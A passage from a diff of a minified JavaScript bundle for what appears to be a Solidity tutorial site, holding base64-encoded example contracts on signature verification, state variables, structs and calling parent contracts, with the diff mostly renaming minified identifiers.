ZGVQYWNrZWQoIlx4MTlFdGhlcmV1bSBTaWduZWQgTWVzc2FnZTpcbjMyIiwgX21lc3NhZ2VIYXNoKQogICAgICAgICk7CiAgICB9CgogICAgLyogNC4gVmVyaWZ5IHNpZ25hdHVyZQogICAgc2lnbmVyID0gMHhCMjczMjE2QzA1QThjMEQ0RjBhNERkMGQ3QmFlMUQyRWZGRTYzNmRkCiAgICB0byA9IDB4MTQ3MjNBMDlBQ2ZmNkQyQTYwRGNkRjdhQTRBRmYzMDhGRERDMTYwQwogICAgYW1vdW50ID0gMTIzCiAgICBtZXNzYWdlID0gImNvZmZlZSBhbmQgZG9udXRzIgogICAgbm9uY2UgPSAxCiAgICBzaWduYXR1cmUgPQogICAgICAgIDB4OTkzZGFiM2RkOTFmNWM2ZGMyOGUxNzQzOWJlNDc1NDc4ZjU2MzVjOTJhNTZlMTdlODIzNDlkM2ZiMmYxNjYxOTZmNDY2YzBiNGUwYzE0NmYyODUyMDRmMGRjYjEzZTVhZTY3YmMzM2Y0Yjg4OGVjMzJkZmUwYTA2M2U4ZjNmNzgxYgogICAgKi8KICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBhZGRyZXNzIF9zaWduZXIsCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsCiAgICAgICAgdWludDI1NiBfbm9uY2UsCiAgICAgICAgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBtZXNzYWdlSGFzaCA9IGdldE1lc3NhZ2VIYXNoKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSk7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRNZXNzYWdlSGFzaCA9IGdldEV0aFNpZ25lZE1lc3NhZ2VIYXNoKG1lc3NhZ2VIYXNoKTsKCiAgICAgICAgcmV0dXJuIHJlY292ZXJTaWduZXIoZXRoU2lnbmVkTWVzc2FnZUhhc2gsIHNpZ25hdHVyZSkgPT0gX3NpZ25lcjsKICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyU2lnbmVyKAogICAgICAgIGJ5dGVzMzIgX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLAogICAgICAgIGJ5dGVzIG1lbW9yeSBfc2lnbmF0dXJlCiAgICApIHB1YmxpYyBwdXJlIHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICAoYnl0ZXMzMiByLCBieXRlczMyIHMsIHVpbnQ4IHYpID0gc3BsaXRTaWduYXR1cmUoX3NpZ25hdHVyZSk7CgogICAgICAgIHJldHVybiBlY3JlY292ZXIoX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLCB2LCByLCBzKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzcGxpdFNpZ25hdHVyZShieXRlcyBtZW1vcnkgc2lnKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIHIsIGJ5dGVzMzIgcywgdWludDggdikKICAgIHsKICAgICAgICByZXF1aXJlKHNpZy5sZW5ndGggPT0gNjUsICJpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvKgogICAgICAgICAgICBGaXJzdCAzMiBieXRlcyBzdG9yZXMgdGhlIGxlbmd0aCBvZiB0aGUgc2lnbmF0dXJlCgogICAgICAgICAgICBhZGQoc2lnLCAzMikgPSBwb2ludGVyIG9mIHNpZyArIDMyCiAgICAgICAgICAgIGVmZmVjdGl2ZWx5LCBza2lwcyBmaXJzdCAzMiBieXRlcyBvZiBzaWduYXR1cmUKCiAgICAgICAgICAgIG1sb2FkKHApIGxvYWRzIG5leHQgMzIgYnl0ZXMgc3RhcnRpbmcgYXQgdGhlIG1lbW9yeSBhZGRyZXNzIHAgaW50byBtZW1vcnkKICAgICAgICAgICAgKi8KCiAgICAgICAgICAgIC8vIGZpcnN0IDMyIGJ5dGVzLCBhZnRlciB0aGUgbGVuZ3RoIHByZWZpeAogICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWcsIDMyKSkKICAgICAgICAgICAgLy8gc2Vjb25kIDMyIGJ5dGVzCiAgICAgICAgICAgIHMgOj0gbWxvYWQoYWRkKHNpZywgNjQpKQogICAgICAgICAgICAvLyBmaW5hbCBieXRlIChmaXJzdCBieXRlIG9mIHRoZSBuZXh0IDMyIGJ5dGVzKQogICAgICAgICAgICB2IDo9IGJ5dGUoMCwgbWxvYWQoYWRkKHNpZywgOTYpKSkKICAgICAgICB9CgogICAgICAgIC8vIGltcGxpY2l0bHkgcmV0dXJuIChyLCBzLCB2KQogICAgfQp9Cg=="}],s2=`

                                            Messages can be signed off chain and then verified on chain using a smart contract.

                                            +`,_W=({prev:s,next:a})=>r.jsx(A,{version:DW,title:EW,description:QW,html:UW,prev:s,next:a,codes:TW}),LW="0.8.24",OW="Verifying Signature",PW="An example of how to verify signatures in Solidity",$W=[{fileName:"Signature.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXAgeW91ciBwcml2YXRlIGtleSBzZWNyZXQpCgojIFZlcmlmeQoxLiBSZWNyZWF0ZSBoYXNoIGZyb20gdGhlIG9yaWdpbmFsIG1lc3NhZ2UKMi4gUmVjb3ZlciBzaWduZXIgZnJvbSBzaWduYXR1cmUgYW5kIGhhc2gKMy4gQ29tcGFyZSByZWNvdmVyZWQgc2lnbmVyIHRvIGNsYWltZWQgc2lnbmVyCiovCgpjb250cmFjdCBWZXJpZnlTaWduYXR1cmUgewogICAgLyogMS4gVW5sb2NrIE1ldGFNYXNrIGFjY291bnQKICAgIGV0aGVyZXVtLmVuYWJsZSgpCiAgICAqLwoKICAgIC8qIDIuIEdldCBtZXNzYWdlIGhhc2ggdG8gc2lnbgogICAgZ2V0TWVzc2FnZUhhc2goCiAgICAgICAgMHgxNDcyM0EwOUFDZmY2RDJBNjBEY2RGN2FBNEFGZjMwOEZEREMxNjBDLAogICAgICAgIDEyMywKICAgICAgICAiY29mZmVlIGFuZCBkb251dHMiLAogICAgICAgIDEKICAgICkKCiAgICBoYXNoID0gIjB4Y2YzNmFjNGY5N2RjMTBkOTFmYzJjYmIyMGQ3MThlOTRhOGNiZmUwZjgyZWFlZGM2YTRhYTM4OTQ2ZmI3OTdjZCIKICAgICovCiAgICBmdW5jdGlvbiBnZXRNZXNzYWdlSGFzaCgKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50MjU2IF9hbW91bnQsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbWVzc2FnZSwKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSkpOwogICAgfQoKICAgIC8qIDMuIFNpZ24gbWVzc2FnZSBoYXNoCiAgICAjIHVzaW5nIGJyb3dzZXIKICAgIGFjY291bnQgPSAiY29weSBwYXN0ZSBhY2NvdW50IG9mIHNpZ25lciBoZXJlIgogICAgZXRoZXJldW0ucmVxdWVzdCh7IG1ldGhvZDogInBlcnNvbmFsX3NpZ24iLCBwYXJhbXM6IFthY2NvdW50LCBoYXNoXX0pLnRoZW4oY29uc29sZS5sb2cpCgogICAgIyB1c2luZyB3ZWIzCiAgICB3ZWIzLnBlcnNvbmFsLnNpZ24oaGFzaCwgd2ViMy5ldGguZGVmYXVsdEFjY291bnQsIGNvbnNvbGUubG9nKQoKICAgIFNpZ25hdHVyZSB3aWxsIGJlIGRpZmZlcmVudCBmb3IgZGlmZmVyZW50IGFjY291bnRzCiAgICAweDk5M2RhYjNkZDkxZjVjNmRjMjhlMTc0MzliZTQ3NTQ3OGY1NjM1YzkyYTU2ZTE3ZTgyMzQ5ZDNmYjJmMTY2MTk2ZjQ2NmMwYjRlMGMxNDZmMjg1MjA0ZjBkY2IxM2U1YWU2N2JjMzNmNGI4ODhlYzMyZGZlMGEwNjNlOGYzZjc4MWIKICAgICovCiAgICBmdW5jdGlvbiBnZXRFdGhTaWduZWRNZXNzYWdlSGFzaChieXRlczMyIF9tZXNzYWdlSGFzaCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICAvKgogICAgICAgIFNpZ25hdHVyZSBpcyBwcm9kdWNlZCBieSBzaWduaW5nIGEga2VjY2FrMjU2IGhhc2ggd2l0aCB0aGUgZm9sbG93aW5nIGZvcm1hdDoKICAgICAgICAiXHgxOUV0aGVyZXVtIFNpZ25lZCBNZXNzYWdlXG4iICsgbGVuKG1zZykgKyBtc2cKICAgICAgICAqLwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoIlx4MTlFdGhlcmV1bSBTaWduZWQgTWVzc2FnZTpcbjMyIiwgX21lc3NhZ2VIYXNoKQogICAgICAgICk7CiAgICB9CgogICAgLyogNC4gVmVyaWZ5IHNpZ25hdHVyZQogICAgc2lnbmVyID0gMHhCMjczMjE2QzA1QThjMEQ0RjBhNERkMGQ3QmFlMUQyRWZGRTYzNmRkCiAgICB0byA9IDB4MTQ3MjNBMDlBQ2ZmNkQyQTYwRGNkRjdhQTRBRmYzMDhGRERDMTYwQwogICAgYW1vdW50ID0gMTIzCiAgICBtZXNzYWdlID0gImNvZmZlZSBhbmQgZG9udXRzIgogICAgbm9uY2UgPSAxCiAgICBzaWduYXR1cmUgPQogICAgICAgIDB4OTkzZGFiM2RkOTFmNWM2ZGMyOGUxNzQzOWJlNDc1NDc4ZjU2MzVjOTJhNTZlMTdlODIzNDlkM2ZiMmYxNjYxOTZmNDY2YzBiNGUwYzE0NmYyODUyMDRmMGRjYjEzZTVhZTY3YmMzM2Y0Yjg4OGVjMzJkZmUwYTA2M2U4ZjNmNzgxYgogICAgKi8KICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBhZGRyZXNzIF9zaWduZXIsCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsCiAgICAgICAgdWludDI1NiBfbm9uY2UsCiAgICAgICAgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBtZXNzYWdlSGFzaCA9IGdldE1lc3NhZ2VIYXNoKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSk7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRNZXNzYWdlSGFzaCA9IGdldEV0aFNpZ25lZE1lc3NhZ2VIYXNoKG1lc3NhZ2VIYXNoKTsKCiAgICAgICAgcmV0dXJuIHJlY292ZXJTaWduZXIoZXRoU2lnbmVkTWVzc2FnZUhhc2gsIHNpZ25hdHVyZSkgPT0gX3NpZ25lcjsKICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyU2lnbmVyKAogICAgICAgIGJ5dGVzMzIgX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLAogICAgICAgIGJ5dGVzIG1lbW9yeSBfc2lnbmF0dXJlCiAgICApIHB1YmxpYyBwdXJlIHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICAoYnl0ZXMzMiByLCBieXRlczMyIHMsIHVpbnQ4IHYpID0gc3BsaXRTaWduYXR1cmUoX3NpZ25hdHVyZSk7CgogICAgICAgIHJldHVybiBlY3JlY292ZXIoX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLCB2LCByLCBzKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzcGxpdFNpZ25hdHVyZShieXRlcyBtZW1vcnkgc2lnKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIHIsIGJ5dGVzMzIgcywgdWludDggdikKICAgIHsKICAgICAgICByZXF1aXJlKHNpZy5sZW5ndGggPT0gNjUsICJpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvKgogICAgICAgICAgICBGaXJzdCAzMiBieXRlcyBzdG9yZXMgdGhlIGxlbmd0aCBvZiB0aGUgc2lnbmF0dXJlCgogICAgICAgICAgICBhZGQoc2lnLCAzMikgPSBwb2ludGVyIG9mIHNpZyArIDMyCiAgICAgICAgICAgIGVmZmVjdGl2ZWx5LCBza2lwcyBmaXJzdCAzMiBieXRlcyBvZiBzaWduYXR1cmUKCiAgICAgICAgICAgIG1sb2FkKHApIGxvYWRzIG5leHQgMzIgYnl0ZXMgc3RhcnRpbmcgYXQgdGhlIG1lbW9yeSBhZGRyZXNzIHAgaW50byBtZW1vcnkKICAgICAgICAgICAgKi8KCiAgICAgICAgICAgIC8vIGZpcnN0IDMyIGJ5dGVzLCBhZnRlciB0aGUgbGVuZ3RoIHByZWZpeAogICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWcsIDMyKSkKICAgICAgICAgICAgLy8gc2Vjb25kIDMyIGJ5dGVzCiAgICAgICAgICAgIHMgOj0gbWxvYWQoYWRkKHNpZywgNjQpKQogICAgICAgICAgICAvLyBmaW5hbCBieXRlIChmaXJzdCBieXRlIG9mIHRoZSBuZXh0IDMyIGJ5dGVzKQogICAgICAgICAgICB2IDo9IGJ5dGUoMCwgbWxvYWQoYWRkKHNpZywgOTYpKSkKICAgICAgICB9CgogICAgICAgIC8vIGltcGxpY2l0bHkgcmV0dXJuIChyLCBzLCB2KQogICAgfQp9Cg=="}],qW=`

                                            Messages can be signed off chain and then verified on chain using a smart contract.

                                            Example using ethers.js

                                            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -11959,7 +11959,7 @@ How to Sign and Verify
         // implicitly return (r, s, v)
     }
 }
-
                                            `,a2=({prev:s,next:a})=>r.jsx(A,{version:OW,title:PW,description:$W,html:s2,prev:s,next:a,codes:qW}),n2="0.8.24",l2="Reading and Writing to a State Variable",p2="Reading and Writing to a State Variable",e2=[{fileName:"SimpleStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQyNTYgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50MjU2IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K"}],c2=`

                                            To write or update a state variable you need to send a transaction.

                                            +`,s2=({prev:s,next:a})=>r.jsx(A,{version:LW,title:OW,description:PW,html:qW,prev:s,next:a,codes:$W}),a2="0.8.24",n2="Reading and Writing to a State Variable",l2="Reading and Writing to a State Variable",p2=[{fileName:"SimpleStorage.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQyNTYgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50MjU2IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K"}],e2=`

                                            To write or update a state variable you need to send a transaction.

                                            On the other hand, you can read state variables, for free, without any transaction fee.

                                            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -11978,7 +11978,7 @@ How to Sign and Verify
         return num;
     }
 }
-
                                            `,t2=({prev:s,next:a})=>r.jsx(A,{version:n2,title:l2,description:p2,html:c2,prev:s,next:a,codes:e2}),o2="0.8.24",r2="Structs",i2="An example of how to use structs in Solidity",g2=[{fileName:"StructDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKLy8gVGhpcyBpcyBzYXZlZCAnU3RydWN0RGVjbGFyYXRpb24uc29sJwoKc3RydWN0IFRvZG8gewogICAgc3RyaW5nIHRleHQ7CiAgICBib29sIGNvbXBsZXRlZDsKfQo="},{fileName:"StructImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9TdHJ1Y3REZWNsYXJhdGlvbi5zb2wiOwoKY29udHJhY3QgVG9kb3MgewogICAgLy8gQW4gYXJyYXkgb2YgJ1RvZG8nIHN0cnVjdHMKICAgIFRvZG9bXSBwdWJsaWMgdG9kb3M7Cn0K"},{fileName:"Structs.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRvZG9zIHsKICAgIHN0cnVjdCBUb2RvIHsKICAgICAgICBzdHJpbmcgdGV4dDsKICAgICAgICBib29sIGNvbXBsZXRlZDsKICAgIH0KCiAgICAvLyBBbiBhcnJheSBvZiAnVG9kbycgc3RydWN0cwogICAgVG9kb1tdIHB1YmxpYyB0b2RvczsKCiAgICBmdW5jdGlvbiBjcmVhdGUoc3RyaW5nIGNhbGxkYXRhIF90ZXh0KSBwdWJsaWMgewogICAgICAgIC8vIDMgd2F5cyB0byBpbml0aWFsaXplIGEgc3RydWN0CiAgICAgICAgLy8gLSBjYWxsaW5nIGl0IGxpa2UgYSBmdW5jdGlvbgogICAgICAgIHRvZG9zLnB1c2goVG9kbyhfdGV4dCwgZmFsc2UpKTsKCiAgICAgICAgLy8ga2V5IHZhbHVlIG1hcHBpbmcKICAgICAgICB0b2Rvcy5wdXNoKFRvZG8oe3RleHQ6IF90ZXh0LCBjb21wbGV0ZWQ6IGZhbHNlfSkpOwoKICAgICAgICAvLyBpbml0aWFsaXplIGFuIGVtcHR5IHN0cnVjdCBhbmQgdGhlbiB1cGRhdGUgaXQKICAgICAgICBUb2RvIG1lbW9yeSB0b2RvOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgICAgIC8vIHRvZG8uY29tcGxldGVkIGluaXRpYWxpemVkIHRvIGZhbHNlCgogICAgICAgIHRvZG9zLnB1c2godG9kbyk7CiAgICB9CgogICAgLy8gU29saWRpdHkgYXV0b21hdGljYWxseSBjcmVhdGVkIGEgZ2V0dGVyIGZvciAndG9kb3MnIHNvCiAgICAvLyB5b3UgZG9uJ3QgYWN0dWFsbHkgbmVlZCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgX2luZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHRleHQsIGJvb2wgY29tcGxldGVkKQogICAgewogICAgICAgIFRvZG8gc3RvcmFnZSB0b2RvID0gdG9kb3NbX2luZGV4XTsKICAgICAgICByZXR1cm4gKHRvZG8udGV4dCwgdG9kby5jb21wbGV0ZWQpOwogICAgfQoKICAgIC8vIHVwZGF0ZSB0ZXh0CiAgICBmdW5jdGlvbiB1cGRhdGVUZXh0KHVpbnQyNTYgX2luZGV4LCBzdHJpbmcgY2FsbGRhdGEgX3RleHQpIHB1YmxpYyB7CiAgICAgICAgVG9kbyBzdG9yYWdlIHRvZG8gPSB0b2Rvc1tfaW5kZXhdOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgfQoKICAgIC8vIHVwZGF0ZSBjb21wbGV0ZWQKICAgIGZ1bmN0aW9uIHRvZ2dsZUNvbXBsZXRlZCh1aW50MjU2IF9pbmRleCkgcHVibGljIHsKICAgICAgICBUb2RvIHN0b3JhZ2UgdG9kbyA9IHRvZG9zW19pbmRleF07CiAgICAgICAgdG9kby5jb21wbGV0ZWQgPSAhdG9kby5jb21wbGV0ZWQ7CiAgICB9Cn0K"}],h2=`

                                            You can define your own type by creating a struct.

                                            +`,c2=({prev:s,next:a})=>r.jsx(A,{version:a2,title:n2,description:l2,html:e2,prev:s,next:a,codes:p2}),t2="0.8.24",o2="Structs",r2="An example of how to use structs in Solidity",i2=[{fileName:"StructDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKLy8gVGhpcyBpcyBzYXZlZCAnU3RydWN0RGVjbGFyYXRpb24uc29sJwoKc3RydWN0IFRvZG8gewogICAgc3RyaW5nIHRleHQ7CiAgICBib29sIGNvbXBsZXRlZDsKfQo="},{fileName:"StructImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9TdHJ1Y3REZWNsYXJhdGlvbi5zb2wiOwoKY29udHJhY3QgVG9kb3MgewogICAgLy8gQW4gYXJyYXkgb2YgJ1RvZG8nIHN0cnVjdHMKICAgIFRvZG9bXSBwdWJsaWMgdG9kb3M7Cn0K"},{fileName:"Structs.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRvZG9zIHsKICAgIHN0cnVjdCBUb2RvIHsKICAgICAgICBzdHJpbmcgdGV4dDsKICAgICAgICBib29sIGNvbXBsZXRlZDsKICAgIH0KCiAgICAvLyBBbiBhcnJheSBvZiAnVG9kbycgc3RydWN0cwogICAgVG9kb1tdIHB1YmxpYyB0b2RvczsKCiAgICBmdW5jdGlvbiBjcmVhdGUoc3RyaW5nIGNhbGxkYXRhIF90ZXh0KSBwdWJsaWMgewogICAgICAgIC8vIDMgd2F5cyB0byBpbml0aWFsaXplIGEgc3RydWN0CiAgICAgICAgLy8gLSBjYWxsaW5nIGl0IGxpa2UgYSBmdW5jdGlvbgogICAgICAgIHRvZG9zLnB1c2goVG9kbyhfdGV4dCwgZmFsc2UpKTsKCiAgICAgICAgLy8ga2V5IHZhbHVlIG1hcHBpbmcKICAgICAgICB0b2Rvcy5wdXNoKFRvZG8oe3RleHQ6IF90ZXh0LCBjb21wbGV0ZWQ6IGZhbHNlfSkpOwoKICAgICAgICAvLyBpbml0aWFsaXplIGFuIGVtcHR5IHN0cnVjdCBhbmQgdGhlbiB1cGRhdGUgaXQKICAgICAgICBUb2RvIG1lbW9yeSB0b2RvOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgICAgIC8vIHRvZG8uY29tcGxldGVkIGluaXRpYWxpemVkIHRvIGZhbHNlCgogICAgICAgIHRvZG9zLnB1c2godG9kbyk7CiAgICB9CgogICAgLy8gU29saWRpdHkgYXV0b21hdGljYWxseSBjcmVhdGVkIGEgZ2V0dGVyIGZvciAndG9kb3MnIHNvCiAgICAvLyB5b3UgZG9uJ3QgYWN0dWFsbHkgbmVlZCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgX2luZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHRleHQsIGJvb2wgY29tcGxldGVkKQogICAgewogICAgICAgIFRvZG8gc3RvcmFnZSB0b2RvID0gdG9kb3NbX2luZGV4XTsKICAgICAgICByZXR1cm4gKHRvZG8udGV4dCwgdG9kby5jb21wbGV0ZWQpOwogICAgfQoKICAgIC8vIHVwZGF0ZSB0ZXh0CiAgICBmdW5jdGlvbiB1cGRhdGVUZXh0KHVpbnQyNTYgX2luZGV4LCBzdHJpbmcgY2FsbGRhdGEgX3RleHQpIHB1YmxpYyB7CiAgICAgICAgVG9kbyBzdG9yYWdlIHRvZG8gPSB0b2Rvc1tfaW5kZXhdOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgfQoKICAgIC8vIHVwZGF0ZSBjb21wbGV0ZWQKICAgIGZ1bmN0aW9uIHRvZ2dsZUNvbXBsZXRlZCh1aW50MjU2IF9pbmRleCkgcHVibGljIHsKICAgICAgICBUb2RvIHN0b3JhZ2UgdG9kbyA9IHRvZG9zW19pbmRleF07CiAgICAgICAgdG9kby5jb21wbGV0ZWQgPSAhdG9kby5jb21wbGV0ZWQ7CiAgICB9Cn0K"}],g2=`

                                            You can define your own type by creating a struct.

                                            They are useful for grouping together related data.

                                            Structs can be declared outside of a contract and imported in another contract.

                                            // SPDX-License-Identifier: MIT
@@ -12052,7 +12052,7 @@ How to Sign and Verify
     // An array of 'Todo' structs
     Todo[] public todos;
 }
-
                                            `,I2=({prev:s,next:a})=>r.jsx(A,{version:o2,title:r2,description:i2,html:h2,prev:s,next:a,codes:g2}),d2="0.8.24",C2="Calling Parent Contracts",j2="An example of calling parent contracts in Solidity",A2=[{fileName:"Super.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEluaGVyaXRhbmNlIHRyZWUKICAgQQogLyAgXApCICAgQwogXCAvCiAgRAoqLwoKY29udHJhY3QgQSB7CiAgICAvLyBUaGlzIGlzIGNhbGxlZCBhbiBldmVudC4gWW91IGNhbiBlbWl0IGV2ZW50cyBmcm9tIHlvdXIgZnVuY3Rpb24KICAgIC8vIGFuZCB0aGV5IGFyZSBsb2dnZWQgaW50byB0aGUgdHJhbnNhY3Rpb24gbG9nLgogICAgLy8gSW4gb3VyIGNhc2UsIHRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIHRyYWNpbmcgZnVuY3Rpb24gY2FsbHMuCiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICBlbWl0IExvZygiQS5mb28gY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFyKCkgcHVibGljIHZpcnR1YWwgewogICAgICAgIGVtaXQgTG9nKCJBLmJhciBjYWxsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgQiBpcyBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQi5mb28gY2FsbGVkIik7CiAgICAgICAgQS5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgdmlydHVhbCBvdmVycmlkZSB7CiAgICAgICAgZW1pdCBMb2coIkIuYmFyIGNhbGxlZCIpOwogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cgpjb250cmFjdCBDIGlzIEEgewogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHZpcnR1YWwgb3ZlcnJpZGUgewogICAgICAgIGVtaXQgTG9nKCJDLmZvbyBjYWxsZWQiKTsKICAgICAgICBBLmZvbygpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhcigpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQy5iYXIgY2FsbGVkIik7CiAgICAgICAgc3VwZXIuYmFyKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBUcnk6CiAgICAvLyAtIENhbGwgRC5mb28gYW5kIGNoZWNrIHRoZSB0cmFuc2FjdGlvbiBsb2dzLgogICAgLy8gICBBbHRob3VnaCBEIGluaGVyaXRzIEEsIEIgYW5kI